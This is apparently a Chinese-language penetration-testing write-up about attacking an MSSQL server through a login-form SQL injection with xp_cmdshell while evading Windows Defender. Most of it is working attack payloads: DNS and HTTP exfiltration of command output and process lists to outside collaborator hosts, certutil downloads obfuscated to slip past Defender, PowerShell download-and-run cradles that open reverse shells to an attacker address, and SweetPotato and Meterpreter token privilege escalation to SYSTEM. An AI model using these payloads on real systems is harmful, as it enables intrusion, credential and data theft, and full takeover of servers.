0x00 前言
朋友在项目中遇到这样一个场景:MSSQL后台登录框注入,支持xp_cmdshell组件,站库分离(可出网),普通权限nt service\mssqlserver,但存在Defender杀软,暂时没法上线和提权。
而且这台数据库服务器上不存在Web,所以也不能写入Webshell;找到了后台地址,但在sqlmap中没有找到管理员和用户表,直接执行os-shell会出现下图报错,提示不支持堆叠查询...!
0x01 基本信息收集
利用Burp Collaborator或dnslog平台通过dns/http外带方式得到当前用户权限,确定站库分离/是否出网,而且在外带出来的进程中发现有Defender。
注:Burpsuite抓包测试时可以用%20
或+
号来替代空格,如果直接用空格可能执行失败,浏览器会自动转URL编码,但Burpsuite不会,这是个值得注意的小细节。
(1) 获取当前用户权限
这个注入是mssqlserver普通权限,在写入temp临时文件时必须指定一个可读写目录,否则可能因权限问题而写不进去,不指定目录默认为system32,没权限写入。
C:\Users\Public\Videos C:\Users\Public\Pictures C:\Users\Public\Downloads C:\Users\Public\Documents [...SNIP...]
;exec+xp_cmdshell+'cmd+/v+/c+"whoami>C:\Users\Public\Pictures\temp%26certutil+-encode+C:\Users\Public\Pictures\temp+C:\Users\Public\Pictures\temp1%26findstr+/L+/V+CERTIFICATE+C:\Users\Public\Pictures\temp1>C:\Users\Public\Pictures\temp2%26set+/p+MYVAR=<+C:\Users\Public\Pictures\temp2+%26+set+FINAL=!MYVAR!.gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net+%26+nslookup+!FINAL!%26del+C:\Users\Public\Pictures\temp*"'
注:Burp Collaborator会将返回的Base64自动转为小写,而Base64又是区分大小写的,所以咱这里不能正常解码,换个dnslog平台就好了,建议用dig.pm。
(2) 判断是否站库分离
通过host_name()、@@servername分别获取客户端和服务端主机名来判断是否站库分离,当禁用堆叠查询时可以用fn_trace_gettable、fn_xe_file_target_read_file、fn_get_audit_file实现DNS带外。
+and+1=convert(int,(select+host_name())) +and+1=convert(int,(select+@@servername)) +and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+host_name())%2b'.********.ipv6.1433.eu.org\1.trc',default)) +and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+@@servername)%2b'.********.ipv6.1433.eu.org\1.trc',default))
(3) 判断是否可以出网
Python开启一个临时Web,然后用mshta去访问,收到数据说明可以出网,使用其他任意可访问HTTP的应用程序都可以,如常用的Curl、Certutil、Msiexec、Regsvr32、Bitsadmin、Powershell等。
;exec+xp_cmdshell+'cmd+/c+mshta+http://gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net'
(4) 判断是否存在杀软
通过以下命令可以将目标主机所有进程给带出来,建议用dig.pm,但默认只显示10条,想显示所有可拷贝Token到URL访问,这时可以看到几个Defender相关进程。
;exec+xp_cmdshell+"for+/F+%i+in+('wmic+process+get+Name+^|findstr+.exe')+do+ping+-n+1+%i.********.ipv6.1433.eu.org>nul"
0x02 站库分离提权
如果站库没有分离,我们在拿到Webshell时一般都会先执行个马上线,或者上传EXP进行提权。
但这里站库分离了,而且存在Defender,我们的大部分马和提权EXP在上传或执行过程中都被杀了。
(1) 远程加载土豆提权
虽然站库分离,但允许出外网,所以我们可以利用ExecRemoteNET远程加载土豆进行提权。
但是不能直接加载.NET程序集来上线,可能会触发WDF动态检测,查杀内存中运行的shellcode。
https://github.com/m1ddl3w4r3/ExecRemoteNET
执行certutil命令将ExecRemoteNET.exe落地到目标磁盘,http/https中使用""""
绕过WDF的拦截,这个项目目前还可以过静态免杀,所以不会被查杀。
;exec+xp_cmdshell+'certutil+-urlcache+-split+-f+ht""""tp://192.168.1.110/ExecRemoteNET.exe+C:\Users\Public\Videos\RemoteNET.exe'
RemoteNET.exe成功落地,但还是存在一个问题,就是在注入点执行时没有回显,不太好确定咱们提权EXP是否执行成功?所以这里我们还需要先反弹个shell。
我用的powershell-reverse-shell.ps1,这个脚本反弹shell不会被WDF拦截,注意单双引号问题;也可以用powercat.ps1,但会被AMSI拦截,需要改下才行。
https://github.com/martinsohn/PowerShell-reverse-shell
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powershell-reverse-shell.ps1')"
成功反弹shell后再利用刚落地的RemoteNET.exe远程加载SweetPotato,这时通过回显可以看到已经提权为SYSTEM,如果想绕WDF上线可参考其他文章。
C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami"
C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a C:\ProgramData\bypass.ps1"
(2) MSF模拟令牌提权
除了上边这种提权方式,有的MSSQL场景下我们也可以利用MSF的模拟令牌来进行提权;这里我只是给大家拓展一个思路,实战中还是得以实际情况为准。
首先我们利用以上参考文章中的绕过方式获取一个Meterpreter会话,如果进程列表有Ssms.exe进程则大概率可以使用Incognito扩展中的模拟令牌功能提权。
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/bypass.ps1')"
只要管理员在这台机器上使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,所以我们可以直接获取Administrator令牌。
0x03 一些问题解决
(1) 反弹shell时如果用Linux的netcat监听可能会出现中文字符、↑↓←→
等特殊按键乱码问题,我们可以尝试使用rlwrap
工具来解决这个问题。
(2) 执行powercat反弹shell时发现限制了字符长度,这里我们可以尝试用短域名,或者是修改文件名和函数名,这里我将文件名改为1.ps1
,函数名改为f
。
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powercat1.ps1');cmdshell+-c+192.168.1.120+-p+9527+-e+cmd"
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).DownloadString('http://192.168.1.120/1.ps1');f+-c+192.168.1.120+-p+9527+-e+cmd"